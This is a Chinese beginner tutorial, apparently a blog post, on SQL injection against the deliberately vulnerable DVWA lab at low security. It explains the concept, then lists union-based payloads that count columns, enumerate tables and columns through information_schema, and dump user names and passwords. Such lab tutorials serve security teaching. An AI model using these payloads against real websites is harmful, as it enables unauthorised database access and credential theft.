sql 赋值 null_sql注入初级

理论:

SQL Injection:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

什么时候可能发生SQL Injection

假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。

实践:

打开DVWA,改到low级别

0d76a0341d824ef97ba7e85360c4231f.png

先分析一下源代码,点击View Source获取源代码

8f5f396c87eb6f4ea0fba2ec07119239.png

1当在User ID中输入1时,代码如下,php代码分析

7e40a15796c407760a1d2267bdd906e4.png

先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,之后再数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。

2函数分析:

(1)Isset()函数:

isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

语法

bool isset ( mixed $var [, mixed $... ] )

参数说明:

$var:要检测的变量。

如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。

返回值

如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。

0a76ea9a3339ed5f74f2d27a0ced7160.png

(2)mysqli_query()函数

定义和用法

mysqli_query() 函数执行某个针对数据库的查询。

语法

mysqli_query(connection,query,resultmode);

0ca33a8de649ab46bd1c6516a25b1bd5.png

5691516f0ea3c5a681de5c96f9f35745.png

(3)die()函数

定义和用法

die() 函数输出一条消息,并退出当前脚本。

该函数是 exit() 函数的别名。

语法

die(message)

245a46bdde67ccb5eb0a67543c73c96b.png

(4)GLOBALS全局变量

     GLOBALS — 引用全局作用域中可用的全部变量

 (5)mysqli()函数

     详情请看https://www.runoob.com/php/php-ref-mysqli.html

3进行实际操作

判断sql语句查询列数

输入1' order by 1#   显示存在

529a29604aceb3ffaf5e691903ce0a82.png

输入1' order by 2#    显示存在
输入1' order by 3#    出错

所以说有两列

1’ union select 1,2#用来查询数据的位置

842e6901de1cb57f146589753981ca41.png

获取数据库名

1' union select database(),2#

获取表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

获取表的列名

1' union select group_concat(column_name),2 from information_schema.columns     where table_name='users'#

获取数据

1' union select group_concat(user),group_concat(password) from users#

b01e8751c077e376313b0cd1938ad662.png

本文介绍的是初级SQL注入,将持续更新SQL注入中级,高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值